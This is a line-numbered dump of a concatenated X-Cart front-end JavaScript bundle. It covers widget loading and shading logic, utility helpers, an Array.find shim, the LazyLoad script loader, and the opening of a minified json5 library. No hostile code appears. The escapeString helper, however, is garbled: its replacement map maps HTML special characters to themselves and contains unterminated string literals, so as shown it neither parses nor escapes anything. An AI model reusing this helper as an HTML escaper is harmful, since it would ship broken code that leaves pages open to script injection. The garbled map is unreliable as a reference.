jQuery(this.titlePattern).eq(0).html(title); 2939 jQuery("head title").eq(0).html(title); 2940 } 2941 2942 if (this.updateBreadcrumb) { 2943 jQuery('#breadcrumb .last').find('a,span').html(title); 2944 } 2945}; 2946 2947// [ABSTRACT] Widget post processing (after new widget data placing) 2948ALoadable.prototype.postprocess = function(isSuccess, initial) 2949{ 2950 if (isSuccess) { 2951 var o = this; 2952 2953 this.base.map( 2954 function() { 2955 this.loadable = o; 2956 } 2957 ); 2958 2959 if (!initial && 'undefined' != typeof(window.CommonForm)) { 2960 this.base.filter('form').each( 2961 function() { 2962 new CommonForm(this); 2963 } 2964 ); 2965 2966 jQuery('form', this.base).each( 2967 function() { 2968 new CommonForm(this); 2969 } 2970 ); 2971 2972 this.base.filter('*:input').each( 2973 function() { 2974 new CommonElement(this); 2975 } 2976 ); 2977 2978 jQuery('*:input', this.base).each( 2979 function() { 2980 new CommonElement(this); 2981 } 2982 ); 2983 2984 } 2985 } 2986 2987 this.triggerVent('postprocess', {'widget': this, 'isSuccess': isSuccess, 'initial': initial}); 2988}; 2989 2990// Load content by hash 2991ALoadable.prototype.loadByHash = function() 2992{ 2993 if (!this.isHashEqual()) { 2994 this.load(hash.get()); 2995 } 2996}; 2997 2998// Check - has is equal arguments of widget 2999ALoadable.prototype.isHashEqual = function() 3000{ 3001 var result = true; 3002 3003 var current = this.base.data('widget-arguments'); 3004 if (current && hash.get()) { 3005 result = _.every( 3006 hash.get(), 3007 function(v, k) { 3008 return 'undefined' != typeof(current[k]) && current[k] == v; 3009 } 3010 ); 3011 3012 } else if (!current && _.size(hash.get()) > 0) { 3013 result = false;
3014 } 3015 3016 return result; 3017}; 3018 3019// [ABSTRACT] Widget save state (before widget load / reload) 3020ALoadable.prototype.saveState = function() 3021{ 3022}; 3023 3024// Show modal screen 3025ALoadable.prototype.shade = function() 3026{ 3027 if (!this.base || !this.base.length) { 3028 return false; 3029 } 3030 3031 if (this.isShowModalScreen) { 3032 return true; 3033 } 3034 3035 if (this.isShade()) { 3036 var overlay = this.assignWaitOverlay(this.getShadeBase()); 3037 3038 if (this.shadeClass) { 3039 overlay.addClass(this.shadeClass); 3040 } 3041 3042 this.triggerVent('shaded', this); 3043 3044 } else if (this.blockWidget) { 3045 3046 this.base.click(this.blocker).focus(this.blocker); 3047 } 3048 3049 this.isShowModalScreen = true; 3050 3051 return true; 3052}; 3053 3054// Assemble overlay 3055ALoadable.prototype.assignWaitOverlay = function(base) 3056{ 3057 return assignWaitOverlay(base); 3058}; 3059 3060// Unshade widget 3061ALoadable.prototype.unshade = function() 3062{ 3063 if (!this.base || !this.isShowModalScreen || this.isLoading) { 3064 return false; 3065 } 3066 3067 if (_.result(this, 'shadeWidget')) { 3068 this.unassignWaitOverlay(this.getShadeBase()); 3069 this.triggerVent('unshaded', this); 3070 3071 } else if (this.blockWidget) { 3072 this.base.unbind('click', this.blocker).unbind('focus', this.blocker); 3073 } 3074 3075 this.isShowModalScreen = false; 3076 3077 return true; 3078}; 3079 3080ALoadable.prototype.unassignWaitOverlay = function(base) 3081{ 3082 unassignWaitOverlay(base, true); 3083}; 3084 3085ALoadable.prototype.isShade = function() 3086{ 3087 var state = { 3088 widget: this, 3089 result: _.result(this, 'shadeWidget') 3090 }; 3091 3092 this.triggerVent('shade', state); 3093 3094 return state.result; 3095}; 3096 3097// Get base element for shade / unshade operation 3098ALoadable.prototype.getShadeBase = function() { 3099 return this.base; 3100}; 3101 3102// Event blocker 3103ALoadable.prototype.blocker = function(event) { 3104 event.stopPropagation(); 3105 3106 return false; 3107}; 3108 3109// Submit specified form 3110ALoadable.prototype.submitForm = function(form, callback) 3111{ 3112 return form.submitBackground( 3113 callback, 3114 false, 3115 { 3116 rpc: 'POST' == jQuery(form).attr('method').toUpperCase() 3117 } 3118 ); 3119};; 3120/* AUTOGENERATED: xcart.utils.js */ 3121/* vim: set ts=2 sw=2 sts=2 et: */ 3122 3123/** 3124 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 3125 * See https://www.x-cart.com/license-agreement.html for license details. 3126 */ 3127 3128window.xcart.utils = { 3129 3130 /** 3131 * Generates hash from given value using md5 algorithm 3132 * @param mixed value Value to be hased 3133 * @return string MD5 hash of value 3134 */ 3135 hash: function(value) { 3136 return objectHash.MD5(value); 3137 }, 3138 3139 /** 3140 * escape some html entities 3141 * @see select2 Utils.escapeMarkup 3142 * @param string str 3143 * @returns string 3144 */ 3145 escapeString: function (str) { 3146 var replaceMap = { 3147 '\\': '\', 3148 '&': '&', 3149 '<': '<', 3150 '>': '>', 3151 '"': '"', 3152 '\'': ''', 3153 '/': '/' 3154 }; 3155 3156 // Do not try to escape the markup if it's not a string 3157 if (typeof str !== 'string') { 3158 return str; 3159 } 3160 3161 return String(str).replace(/[&<>"'\/\\]/g, function (match) { 3162 return replaceMap[match]; 3163 }); 3164 }, 3165 3166 /** 3167 * Detect SVG width/height. 3168 * 3169 * @param {string} svgContent The content of the SVG image. 3170 * 3171 * @return {{width: number, height: number}} Image width and height, or {width: 0, height: 0} in case anything has 3172 * gone wrong. 3173 */ 3174 getSvgImageSizes: function (svgContent) { 3175 const elem = document.createElement('DIV'); 3176 elem.setAttribute( 3177 'style', 3178 'position:fixed;top:-10000px;left:-10000px;width:3000px;height:3000px;opacity:0;z-index:-1000;pointer-events:none' 3179 ); 3180 document.body.appendChild(elem); 3181 3182 elem.innerHTML = svgContent; 3183 3184 const svg = elem.querySelector('svg'); 3185 let result = { 3186 width: 0, 3187 height: 0 3188 }; 3189 if (svg && svg.getBBox) { 3190 result = svg.getBBox(); 3191 } 3192 document.body.removeChild(elem); 3193 3194 return { 3195 width: Math.round(result.width), 3196 height: Math.round(result.height) 3197 }; 3198 } 3199 3200}; 3201 3202window.await = function (promises, callback) { 3203 jQuery.when.apply(jQuery, promises).done(callback); 3204}; 3205 3206// Shim array.prototype.find for es5 3207if (!Array.prototype.find) { 3208 Object.defineProperty(Array.prototype, "find", { 3209 value: function(predicate) { 3210 if (this === null) { 3211 throw new TypeError('Array.prototype.find called on null or undefined'); 3212 } 3213 if (typeof predicate !== 'function') { 3214 throw new TypeError('predicate must be a function'); 3215 } 3216 var list = Object(this); 3217 var length = list.length >>> 0; 3218 var thisArg = arguments[1]; 3219 var value; 3220 3221 for (var i = 0; i < length; i++) { 3222 value = list[i]; 3223 if (predicate.call(thisArg, value, i, list)) { 3224 return value; 3225 } 3226 } 3227 return undefined; 3228 } 3229 }); 3230}; 3231/* AUTOGENERATED: lazyload.js */ 3232/*jslint browser: true, eqeqeq: true, bitwise: true, newcap: true, immed: true, regexp: false */ 3233 3234/** 3235LazyLoad makes it easy and painless to lazily load one or more external 3236JavaScript or CSS files on demand either during or after the rendering of a web 3237page. 3238 3239Supported browsers include Firefox 3.6+, IE9+, Safari 5.1.4+ (untested) (including Mobile 3240Safari), Google Chrome 10+, and Opera 12+. Other browsers may or may not work and 3241are not officially supported, including the browsers supported by the original LazyLoad: 3242Firefox 2+, IE6+, Safari 3+, Google Chrome 0.8+, and Opera 9+ (not yet tested). 3243 3244Visit https://github.com/lewisje/lazyload/ for more info. 3245 3246Copyright (c) 2011 Ryan Grove <[email protected]> 3247All rights reserved. 3248Changes made by Cezary Daniel Nowak, 2014, and James Edward Lewis II, 2015. 3249 3250Permission is hereby granted, free of charge, to any person obtaining a copy of 3251this software and associated documentation files (the 'Software'), to deal in 3252the Software without restriction, including without limitation the rights to 3253use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 3254the Software, and to permit persons to whom the Software is furnished to do so, 3255subject to the following conditions: 3256 3257The above copyright notice and this permission notice shall be included in all 3258copies or substantial portions of the Software. 3259 3260THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 3261IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 3262FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 3263COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 3264IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 3265CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 3266 3267@module lazyload 3268@class LazyLoad 3269@static 3270*/ 3271 3272var LazyLoad = (function (doc) { 3273 'use strict'; 3274 // -- Private Variables ------------------------------------------------------ 3275 3276 // Reference to the <head> element (populated lazily). 3277 var head, 3278 3279 // Requests currently in progress, if any. 3280 pending = {}, 3281 3282 // Number of times we've polled to check whether a pending stylesheet has 3283 // finished loading. If this gets too high, we're probably stalled. 3284 pollCount = 0, 3285 3286 // Cached requests. 3287 cache = {}, 3288 3289 // Queued requests. 3290 queue = {css: [], js: []}, 3291 3292 // Whether Function#bind exists. 3293 canBind = typeof Function.prototype.bind === 'function', 3294 3295 // Reference to the browser's list of stylesheets. 3296 styleSheets = doc.styleSheets, 3297 finishCSS = canBind ? finish.bind(doc, 'css') : function finishCSS() {finish('css');}, 3298 ua = navigator.userAgent, 3299 // User agent and feature test information. 3300 env = { 3301 // True if this browser supports disabling async mode on dynamically 3302 // created script nodes. See 3303 // http://wiki.whatwg.org/wiki/Dynamic_Script_Execution_Order 3304 async: createNode('script').async === true 3305 }; 3306
3307 if (/AppleWebKit\//.test(ua)) env.webkit = true; 3308 else if (/MSIE|Trident/.test(ua)) env.ie = true; 3309 else if (/Opera/.test(ua)) env.opera = true; 3310 else if (/Gecko\//.test(ua)) env.gecko = true; 3311 else env.unknown = true; 3312 // -- Private Methods -------------------------------------------------------- 3313 3314 /** 3315 Creates and returns an HTML element with the specified name and attributes. 3316 3317 @method createNode 3318 @param {String} name element name 3319 @param {Object} attrs name/value mapping of element attributes 3320 @return {HTMLElement} 3321 @private 3322 */ 3323 function createNode(name, attrs) { 3324 var attr, 3325 node = doc.createElement(name); 3326 3327 if(attrs) { 3328 for (attr in attrs) { 3329 if (attrs.hasOwnProperty(attr)) { 3330 node.setAttribute(attr, attrs[attr]); 3331 } 3332 } 3333 } 3334 3335 return node; 3336 } 3337 3338 /** 3339 Called when the current pending resource of the specified type has finished 3340 loading. Executes the associated callback (if any) and loads the next 3341 resource in the queue. 3342 3343 @method finish 3344 @param {String} type resource type ('css' or 'js') 3345 @private 3346 */ 3347 function finish(type) { 3348 var p = pending[type], callback, urls; 3349 3350 if (p) { 3351 callback = p.callback; 3352 urls = p.urls; 3353 3354 cache[urls.shift()] = true; 3355 pollCount = 0; 3356 3357 // If this is the last of the pending URLs, execute the callback and 3358 // start the next request in the queue (if any). 3359 if (!urls.length) { 3360 if (typeof callback === 'function') callback.call(p.context, p.obj); 3361 pending[type] = 0; 3362 if (queue[type].length) load(type); 3363 } 3364 } 3365 } 3366 3367 /** 3368 Loads the specified resources, or the next resource of the specified type 3369 in the queue if no resources are specified. If a resource of the specified 3370 type is already being loaded, the new request will be queued until the 3371 first request has been finished. 3372 3373 When an array of resource URLs is specified, those URLs will be loaded in 3374 parallel if it is possible to do so while preserving execution order. All 3375 browsers support parallel loading of CSS, but only Firefox and Opera 3376 support parallel loading of scripts. In other browsers, scripts will be 3377 queued and loaded one at a time to ensure correct execution order. 3378 3379 @method load 3380 @param {String} type resource type ('css' or 'js') 3381 @param {String|Array} urls (optional) URL or array of URLs to load 3382 @param {Function} callback (optional) callback function to execute when the 3383 resource is loaded 3384 @param {Object} obj (optional) object to pass to the callback function 3385 @param {Object} context (optional) if provided, the callback function will 3386 be executed in this object's context 3387 @private 3388 */ 3389 function load(type, urls, callback, obj, context) { 3390 var _finish = canBind ? finish.bind(doc, type) : function _finish() {finish(type);}, 3391 isCSS = type === 'css', nodes = [], i, len, node, p, pendingUrls, url; 3392 3393 if (urls) { 3394 // If urls is a string, wrap it in an array. Otherwise assume it's an 3395 // array and create a copy of it so modifications won't be made to the 3396 // original. 3397 urls = typeof urls === 'string' ? [urls] : urls.slice(); 3398 3399 // Create a request object for each URL. If multiple URLs are specified, 3400 // the callback will only be executed after all URLs have been loaded. 3401 // 3402 // Sadly, Firefox and Opera are the only browsers capable of loading 3403 // scripts in parallel while preserving execution order. In all other 3404 // browsers, scripts must be loaded sequentially. 3405 // 3406 // All browsers respect CSS specificity based on the order of the link 3407 // elements in the DOM, regardless of the order in which the stylesheets 3408 // are actually downloaded. 3409 if (isCSS || env.async || env.gecko || env.opera) { 3410 // Load in parallel. 3411 queue[type].push({ 3412 urls : urls, 3413 callback: callback, 3414 obj : obj, 3415 context : context 3416 }); 3417 } else { 3418 // Load sequentially. 3419 for (i = 0, len = urls.length; i < len; ++i) { 3420 queue[type].push({ 3421 urls : [urls[i]], 3422 callback: i === len - 1 ? callback : 0, // callback is only added to the last URL 3423 obj : obj, 3424 context : context 3425 }); 3426 } 3427 } 3428 } 3429 3430 // If a previous load request of this type is currently in progress, we'll 3431 // wait our turn. Otherwise, grab the next item in the queue. 3432 if (pending[type] || !(p = pending[type] = queue[type].shift())) return; 3433 head = head || doc.head || doc.getElementsByTagName('head')[0]; 3434 pendingUrls = p.urls.slice(); 3435 3436 var nodeReady = function nodeReady() { 3437 if (/^(?:loaded|complete)$/i.test(node.readyState)) { 3438 node.onreadystatechange = null; 3439 _finish(); 3440 } 3441 }; 3442 for (i = 0, len = pendingUrls.length; i < len; ++i) { 3443 url = pendingUrls[i]; 3444 if(cache[url] != null && !url.startsWith("var/theme/custom.css")) { 3445 // _finish here can cause unexpected behavior when cache[url] === false but 3446 // I won't figure out solution, since first issue on github :-) 3447 _finish(); 3448 continue; //prevent scripts/css from being loaded multiple times 3449 } else { 3450 cache[url] = false;
3451 } 3452 if (isCSS) { 3453 node = env.gecko ? createNode('style') : createNode('link', { 3454 href: url, 3455 rel : 'stylesheet' 3456 }); 3457 } else { 3458 node = createNode('script', {src: url}); 3459 node.async = false; 3460 } 3461 3462 node.className = 'lazyload'; 3463 node.setAttribute('charset', 'utf-8'); 3464 3465 if (env.ie && !isCSS && 'onreadystatechange' in node && !('draggable' in node)) { 3466 node.onreadystatechange = nodeReady; 3467 } else if (isCSS && (env.gecko || env.webkit)) { 3468 // Gecko and WebKit don't support the onload event on link nodes. 3469 if (env.webkit) { 3470 // In WebKit, we can poll for changes to document.styleSheets to 3471 // figure out when stylesheets have loaded. 3472 p.urls[i] = node.href; // resolve relative URLs (or polling won't work) 3473 pollWebKit(); 3474 } else { 3475 // In Gecko, we can import the requested URL into a <style> node and 3476 // poll for the existence of node.sheet.cssRules. Props to Zach 3477 // Leatherman for calling my attention to this technique. 3478 node.innerHTML = '@import "' + url + '";'; 3479 pollGecko(node); 3480 } 3481 } else { 3482 node.onload = node.onerror = _finish; 3483 } 3484 nodes.push(node); 3485 } 3486 for (i = 0, len = nodes.length; i < len; ++i) { 3487 head.appendChild(nodes[i]); 3488 } 3489 } 3490 3491 /** 3492 Begins polling to determine when the specified stylesheet has finished loading 3493 in Gecko. Polling stops when all pending stylesheets have loaded or after 10 3494 seconds (to prevent stalls). 3495 3496 Thanks to Zach Leatherman for calling my attention to the @import-based 3497 cross-domain technique used here, and to Oleg Slobodskoi for an earlier 3498 same-domain implementation. See Zach's blog for more details: 3499 http://www.zachleat.com/web/2010/07/29/load-css-dynamically/ 3500 3501 @method pollGecko 3502 @param {HTMLElement} node Style node to poll. 3503 @private 3504 */ 3505 function pollGecko(node) { 3506 var hasRules = 'sheet' in node && node.sheet && 'cssRules' in node.sheet; 3507 3508 if (!hasRules) { 3509 // The stylesheet is still loading. 3510 ++pollCount; 3511 if (pollCount < 200) { 3512 setTimeout(canBind ? pollGecko.bind(doc, node) : function pollBind() {pollGecko(node);}, 50); 3513 } else { 3514 // We've been polling for 10 seconds and nothing's happened. Stop 3515 // polling and finish the pending requests to avoid blocking further 3516 // requests. 3517 if (hasRules) finishCSS(); 3518 } 3519 return; 3520 } 3521 // If we get here, the stylesheet has loaded. 3522 finishCSS(); 3523 } 3524 3525 /** 3526 Begins polling to determine when pending stylesheets have finished loading 3527 in WebKit. Polling stops when all pending stylesheets have loaded or after 10 3528 seconds (to prevent stalls). 3529 3530 @method pollWebKit 3531 @private 3532 */ 3533 function pollWebKit() { 3534 var css = pending.css, i; 3535 3536 if (css) { 3537 i = styleSheets.length; 3538 // Look for a stylesheet matching the pending URL. 3539 while (--i >= 0) { 3540 if (styleSheets[i].href === css.urls[0]) { 3541 finishCSS(); 3542 break; 3543 } 3544 } 3545 3546 ++pollCount; 3547 if (css) { 3548 if (pollCount < 200) { 3549 setTimeout(pollWebKit, 50); 3550 } else { 3551 // We've been polling for 10 seconds and nothing's happened, which may 3552 // indicate that the stylesheet has been removed from the document 3553 // before it had a chance to load. Stop polling and finish the pending 3554 // request to prevent blocking further requests. 3555 finishCSS(); 3556 } 3557 } 3558 } 3559 } 3560 3561 return { 3562 /** 3563 Requests the specified CSS URL or URLs and executes the specified 3564 callback (if any) when they have finished loading. If an array of URLs is 3565 specified, the stylesheets will be loaded in parallel and the callback 3566 will be executed after all stylesheets have finished loading. 3567 3568 @method css 3569 @param {String|Array} urls CSS URL or array of CSS URLs to load 3570 @param {Function} callback (optional) callback function to execute when 3571 the specified stylesheets are loaded 3572 @static 3573 */ 3574 css: canBind ? load.bind(load, 'css') : function css(urls, callback, obj, context) { 3575 load('css', urls, callback, obj, context); 3576 }, 3577 3578 /** 3579 Requests the specified JavaScript URL or URLs and executes the specified 3580 callback (if any) when they have finished loading. If an array of URLs is 3581 specified and the browser supports it, the scripts will be loaded in 3582 parallel and the callback will be executed after all scripts have 3583 finished loading. 3584
3585 Currently, only Firefox and Opera support parallel loading of scripts while 3586 preserving execution order. In other browsers, scripts will be 3587 queued and loaded one at a time to ensure correct execution order. 3588 3589 @method js 3590 @param {String|Array} urls JS URL or array of JS URLs to load 3591 @param {Function} callback (optional) callback function to execute when 3592 the specified scripts are loaded 3593 @static 3594 */ 3595 js: canBind ? load.bind(load, 'js') : function js(urls, callback, obj, context) { 3596 load('js', urls, callback, obj, context); 3597 } 3598 }; 3599})(this.document);; 3600/* AUTOGENERATED: json5.min.js */ 3601!function(u,D){"object"==typeof exports&&"undefined"!=typeof module?module.exports=D():"function"==typeof define&&define.amd?define(D):u.JSON5=D()}(this,function(){"use strict";var u={Space_Separator:/[\u1680\u2000-\u200A\u202F\u205F\u3000]/,ID_Start:/[\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u0860-\u086A\u08A0-\u08B4\u08B6-\u08BD\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u09FC\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0AF9\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58-\u0C5A\u0C60\u0C61\u0C80\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D54-\u0D56\u0D5F-\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u170C\u170E-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1877\u1880-\u1884\u1887-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1C80-\u1C88\u1CE9-\u1CEC\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312E\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FEA\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6EF\uA717-\uA71F\uA722-\uA788\uA78B-\uA7AE\uA7B0-\uA7B7\uA7F7-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA8FD\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uA9E0-\uA9E4\uA9E6-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB65\uAB70-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFB
3601D3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDE80-\uDE9C\uDEA0-\uDED0\uDF00-\uDF1F\uDF2D-\uDF4A\uDF50-\uDF75\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDCB0-\uDCD3\uDCD8-\uDCFB\uDD00-\uDD27\uDD30-\uDD63\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00\uDE10-\uDE13\uDE15-\uDE17\uDE19-\uDE33\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE4\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2]|\uD804[\uDC03-\uDC37\uDC83-\uDCAF\uDCD0-\uDCE8\uDD03-\uDD26\uDD50-\uDD72\uDD76\uDD83-\uDDB2\uDDC1-\uDDC4\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE2B\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEDE\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3D\uDF50\uDF5D-\uDF61]|\uD805[\uDC00-\uDC34\uDC47-\uDC4A\uDC80-\uDCAF\uDCC4\uDCC5\uDCC7\uDD80-\uDDAE\uDDD8-\uDDDB\uDE00-\uDE2F\uDE44\uDE80-\uDEAA\uDF00-\uDF19]|\uD806[\uDCA0-\uDCDF\uDCFF\uDE00\uDE0B-\uDE32\uDE3A\uDE50\uDE5C-\uDE83\uDE86-\uDE89\uDEC0-\uDEF8]|\uD807[\uDC00-\uDC08\uDC0A-\uDC2E\uDC40\uDC72-\uDC8F\uDD00-\uDD06\uDD08\uDD09\uDD0B-\uDD30\uDD46]|\uD808[\uDC00-\uDF99]|\uD809[\uDC00-\uDC6E\uDC80-\uDD43]|[\uD80C\uD81C-\uD820\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872\uD874-\uD879][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDED0-\uDEED\uDF00-\uDF2F\uDF40-\uDF43\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDF00-\uDF44\uDF50\uDF93-\uDF9F\uDFE0\uDFE1]|\uD821[\uDC00-\uDFEC]|\uD822[\uDC00-\uDEF2]|\uD82C[\uDC00-\uDD1E\uDD70-\uDEFB]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC